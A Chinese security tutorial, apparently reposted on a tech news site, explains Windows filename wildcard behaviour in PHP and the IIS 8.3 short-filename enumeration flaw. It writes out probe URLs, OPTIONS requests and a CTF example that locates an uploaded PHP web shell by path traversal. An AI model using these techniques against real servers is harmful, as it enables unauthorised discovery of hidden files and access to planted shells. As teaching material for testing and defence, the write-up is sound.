window的特性
参考文献:https://xz.aliyun.com/t/2318
https://www.jianshu.com/p/96cf08d569bc
WinAPI与通配符
在Windows环境下使用PHP时,PHP中的部分函数会调用2个底层Windows API函数FindFirstFileExW()
,FindFirstFile()
这两个函数对< > "
三个字符做了特别的对待和处理:
大于号 > 等价于 通配符 ? 0次或1次 小于号 < 等价于 通配符 * 0次或多次 双引号 " 等价于 通配符 . 匹配除换行符(\n, \r)之外的任意单个字符
也就是说,在Windows下的PHP的某些函数中,我们可以使用< > "
来匹配一些文件名/目录名,将文件名不可知部分之后的字符用"<",">"代替,只用一个"<"或">"只能代表一个字符,若文件名很长需要用"<<"才行。
这里的部分函数包括但不限于:
include() 包含文件 include_once() 包含文件 require() 包含文件 require_once() 包含文件 fopen() 打开文件 copy() 复制文件 file_get_contents() 读取文件 readfile() 读取文件 file_put_contents() 写入文件 mkdir() 创建文件 opendir() 文件夹操作 readdir() 文件夹操作 move_uploaded_file() 移动文件 getimagesize() 获取图像尺寸,类型等信息 ......
IIS短文件名
远古时代的DOS下存在这样的文件命名规则:主文件名不能超过8个字符,扩展名不能超过3个字符(也被叫为8.3格式。)
Windows为了兼容MS-DOS,为文件名超过8位,扩展名超过3位的文件都会对应地创建一个8.3格式的文件名,也称为短文件名。在cmd下使用命令 dir /x
可以查看文件对应的短文件名
短文件名有如下2个特征:
- 文件名只显示前6个字符,后续字符用~1代替。当存在多个文件名类似的文件时(文件名前6位相同,且后缀名前3位相同),数字1会进行递增。
- 后缀只显示前3个字符。
Windows + IIS 6 + .net 文件/目录猜测
适用条件与局限:
- 被猜测文件的文件名长度需超过8位,或后缀名超过3位。
- 环境为Windows + IIS + .net
- 只能猜测出文件名的前6位,后缀名的前3位。
IIS短文件名漏洞
当我们访问某个存在的短文件名时,会返回404。而当我们访问某个不存在的短文件名时,会返回400,依据返回结果的不同,就可以进行逐位猜测了。
比如要猜测出如下文件abc7758521woaini.aspx
- 猜测文件名/目录名
进行如下猜解,不断向下猜解完所有的6个字符,
http://xxx.xx.xx.xxx/a*~1****/xxx.aspx 返回404 猜测正确 http://xxx.xx.xx.xxx/aa*~1****/xxx.aspx Bad Request 猜测错误 http://xxx.xx.xx.xxx/ab*~1****/xxx.aspx 返回404 http://xxx.xx.xx.xxx/abc*~1****/xxx.aspx 返回404 ...... http://xxx.xx.xx.xxx/abc774*~1****/xxx.aspx Bad Request http://xxx.xx.xx.xxx/abc775*~1****/xxx.aspx 返回404
到了这一步,我们要来判断这是一个目录还是一个文件。
若如下请求返回404,则代表它是一个目录,否则就是一个文件http://xxx.xx.xx.xxx/abc775*~1/xxx.aspx
- 猜测文件后缀
接下来开始猜解文件后缀,不断向下猜解完所有的3个字符
http://xxx.xx.xx.xxx/abc775*~1*a**/xxx.aspx http://xxx.xx.xx.xxx/abc775*~1*as*/xxx.aspx http://xxx.xx.xx.xxx/abc775*~1*asp/xxx.aspx
返回无法找到该页面
,则猜测成功
Windows + IIS 7.x + .net 文件/目录猜测
不同版本的IIS返回结果如下:
IIS 6 /valid*~1*/.aspx HTTP 404 -File not found IIS 6 /Invalid*~1*/.aspx HTTP 400 -Bad Request IIS 5.x /valid*~1* HTTP 404 -File not found IIS 5.x /Invalid*~1* HTTP 400 -Bad Request IIS 7.x.Net.2 Page contains: No Error Handling /valid*~1*/ "Error code 0x 00000000 " IIS 7.x.Net.2 Page contains: No Error Handling /Invalid*~1*/ "Error code 0x 80070002 "
给出了IIS 7.x开启了详细错误之后,不同页面的变化情况,然而默认情况下都是显示一个自定义的404页面,并不会给出详细错误。
猜测出根目录下的一个目录名:abcdefg1234567aaabbb
在默认情况下,无论该文件/目录是否存在,都会返回一个404,返回结果没有差异的话,就无法猜测。
http://xxx.xx.xx.xxx/a*~1****/xxx.aspx http://xxx.xx.xx.xxx/b*~1****/xxx.aspx
使用OPTIONS
方式请求,可以得到不一样的返回结果:
>>>a= requests.options("http://xxx.xx.xx.xxx/abcdee*~1.*/.aspx") >>>a >>>a= requests.options("http://xxx.xx.xx.xxx/abcdef*~1.*/.aspx") >>>a
存在时会返回404,不存在时会返回200,根据返回结果的差异,就可以探测出目录名的短文件名。
当主动开启了详细错误之后,使用GET请求也可以得到有差异的结果了。
若存在 http://xxx.xx.xx.xxx/a*~1****/xxx.aspx 错误代码为 0x00000000 若不存在http://xxx.xx.xx.xxx/b*~1****/xxx.aspx 错误代码为 0x80070002
Windows + Apache + PHP 文件/目录猜测
在该环境下,无法像在IIS下直接用URL访问的方式去逐位猜测短文件名了,但有两个杀伤力更大的特性:
当Web程序中存在某些函数时(前置知识中提到的),我们借助它们来逐位猜测出完整目录名,文件名,并且没有长度大小的限制。
虽然无法直接用URL访问的方式去逐位猜测出
短文件名
,但是可以用URL访问的方式直接访问/下载 已知短文件名的目录/文件特性1
这里以HITB 2018的一道CTF题目为例,示例代码如下:
<?php $filename = $_GET['filename']; $file = "./abcdefg1234567aaabb/" . $filename; var_dump(getimagesize($file)); ?>
网站存在上传功能,我们将一个php木马上传到了某目录下(abcdefg1234567aaabb),但是不知道其目录名。
但是,我们可以向1.php的filename参数传入该目录下的一个图片名,程序会返回该图片的尺寸信息。
执行如下访问
http://xxx.xx.xx.xxx/1.php?filename=../a</01.png 返回正常 http://xxx.xx.xx.xxx/1.php?filename=../aa</01.png 返回错误 http://xxx.xx.xx.xxx/1.php?filename=../ab</01.png 返回正常 ...... http://xxx.xx.xx.xxx/1.php?filename=../abcdefg</01.png 返回正常 ...... http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234</01.png 返回正常 ...... http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb</01.png 返回正常
接下来的26 + 10 次尝试中,均返回错误,证明我们已经将目录名猜解完毕,得到目录名:
abcdefg1234567aaabb
假设我们连php木马名也不知道呢?猜解文件名也是同一个道理
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/w<.php http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/wo<.php http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/woa<.php http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/woai<.php ...... http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/woainihhhh<.php
接下来的26 + 10 次尝试中,均返回错误,证明我们已经将文件名猜解完毕,得到文件名。将目录名和文件名拼接:
http://xxx.xx.xx.xxx/abcdefg1234567aaabb/woainihhhh.php
- 特性2
事实上,在上一步中,并不需要猜测出完整文件名,目录名,用短文件名就可以直接访问,下载了。
http://xxx.xx.xx.xxx/abcdef~1/woaini~1.php
想要下载如下文件
http://xxx.xx.xx.xxx/uploads/abcdefgasd1241asd123sgadg123sdgasd123dzg.zip
同样可以使用短文件名去下载
http://xxx.xx.xx.xxx/uploads/abcdef~1.zip
这种方法在IIS下无法使用,IIS不接受直接用短文件名访问的请求方式。
Windows + IIS + PHP 文件/目录猜测
在该环境下,可以用到很多前面提到的特性。
- 可以使用URL访问的方式,来逐位猜测出目录/文件的短文件名
- 当Web程序中存在某些函数时(前置知识中提到的),我们借助它们来逐位猜测出完整目录名,文件名,并且没有长度大小的限制。
- 可以使用URL访问的方式,用通配符直接访问文件(但不能访问目录)
特性1
使用前面提到过的OPTIONS请求方式来逐位猜测目录的短文件名
>>>"a= requests.options("http://xxx.xx.xx.xxx/abcde~1/") >>>a >>>"a= requests.options("http://xxx.xx.xx.xxx/abcdf~1/") >>>a
存在时返回404,不存在时返回200
特性2
这是PHP的特性,与Web服务器种类无关。
首先逐位猜测出目录名
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabbb/<.php http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabbb/woainihhhh.php http://xxx.xx.xx.xxx/abcdefg1234567aaabbb/woainihhhh.php//得到完整文件路径
特性3
事实上猜测出目录名就足够了,文件名可以直接使用通配符去访问:http://192.168.219.241/abcdefg1234567aaabbb/w<.php
Windows + Nginx + PHP 文件/目录猜测
在该环境下,依然可用使用提到的多个特性
- 可以直接用短文件名,访问目录和文件
- 可以直接用通配符访问文件,但是不能访问目录
- PHP某些函数的特性
特性1
http://xxx.xx.xx.xxx/abcdefgwoaini123/xxxaaabbbccc.php
等价于
http://xxx.xx.xx.xxx/abcdef~1/xxxaaa~1.php
特性2
http://xxx.xx.xx.xxx/abcdefgwoaini123/xxxaaabbbccc.php
等价于
http://xxx.xx.xx.xxx/abcdef~1/x<.php
特性3
逐位猜测目录名:
http://xxx.xx.xx.xxx/1.php?filename=../abcdefgwoaini123</1.php
Read error代表存在
逐位猜测文件名
http://xxx.xx.xx.xxx/1.php?filename=../abcdefgwoaini123/xxxaaabbbccc<.php
进而拼接处完整文件路径:
http://xxx.xx.xx.xxx/abcdefgwoaini123/xxxaaabbbccc.php

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
开发者论坛一周精粹(第四十一期) 雅虎邮箱迁移 物联网链接
开发者论坛每周选取精华内容总结,精选论坛优质贴,每周更新一期,方便大家阅读! OSS同步工具,首发,用于本地磁盘或目录同到阿里云OSS 作者:mingge322https://bbs.aliyun.com/read/577812.html 摘要:OSS同步工具,用于本地磁盘或目录同到阿里云OSS跨平台首发,兼容window和linux你可以使用本程序于商业,但请保留作者名字本程序分为精简版 和 完整版1:完整版不需要你安装PHP环境,目录自带了PHP环境。点击run.bat运行即可,真正傻瓜版2:精简版需要你安装PHP环境 ,而且你PHP环境变量要正确,才能运行来 命令:php config.php3:初次运行进入config.php进行设置,里面已经写得很清淅 centos7 mysql57启动失败,求助各位大牛,谢谢 王海鹏https://bbs.aliyun.com/read/577784.html 摘要:如何解决centos7 mysql57报“Job for mysqld.service failed because the control process exited wi...
- 下一篇
Java内存模型-volatile内存语义
章节目录 1.volatile 的特性 为什么volatile修饰变量的写操作不是原子性的? 2.volatile 写-读建立的 happens-before 关系 3.volatile 写-读的内存语义 1.volatile 的特性 首先应该明确的一点是:当声明共享变量为volatile后,对这个变量的读/写(分为单元素读写,与复合写操作)。不同的读写模式下,volatile变量对写操作的原子性体现是不一样的。 理解volatile特性的一个好办法是把对volatile变量的单个读/写,看成是同一个锁对这些单个读/写操作做了同步,示例代码如下所示: class VolatileFeaturesExample { volatile long vl = 0L; public void set(long l){ vl = l; } public void getAndIncrement() { vl++; } public long get(){ return vl; } } 假设有多个线程调用上述程序中的3个方法,这个程序语义和下面的程序语义等价 class VolatileFeatur...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Hadoop3单机部署,实现最简伪集群
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7
- SpringBoot2整合Redis,开启缓存,提高访问速度
- CentOS6,7,8上安装Nginx,支持https2.0的开启
- Eclipse初始化配置,告别卡顿、闪退、编译时间过长
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- CentOS7,8上快速安装Gitea,搭建Git服务器
- CentOS8安装MyCat,轻松搞定数据库的读写分离、垂直分库、水平分库